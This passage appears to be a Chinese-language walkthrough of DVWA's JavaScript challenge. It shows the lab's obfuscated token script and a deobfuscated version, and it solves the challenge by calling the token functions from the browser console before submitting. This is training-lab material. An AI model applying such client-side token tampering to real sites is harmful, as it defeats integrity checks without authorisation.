k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M>2]|=s[M]<>2]|=r<>2]|=(2t|(r>>6))<>2]|=(R|(r&V))<=2E){l[i>>2]|=(2D|(r>>12))<>2]|=(R|((r>>6)&V))<>2]|=(R|(r&V))<>2]|=(2X|(r>>18))<>2]|=(R|((r>>12)&V))<>2]|=(R|((r>>6)&V))<>2]|=(R|(r&V))<=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);' ,'||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));
代码是混淆的
通过还原工具还原核心代码如下：
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
我们模拟这个执行过程
控制台输入token_part_1(“ABCD”, 44);
控制台输入token_part_2(“XX”)
然后提交
Impossible
You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.
你不能相信任何来自用户的东西，也不能阻止他们篡改，所以没有不可能的关卡。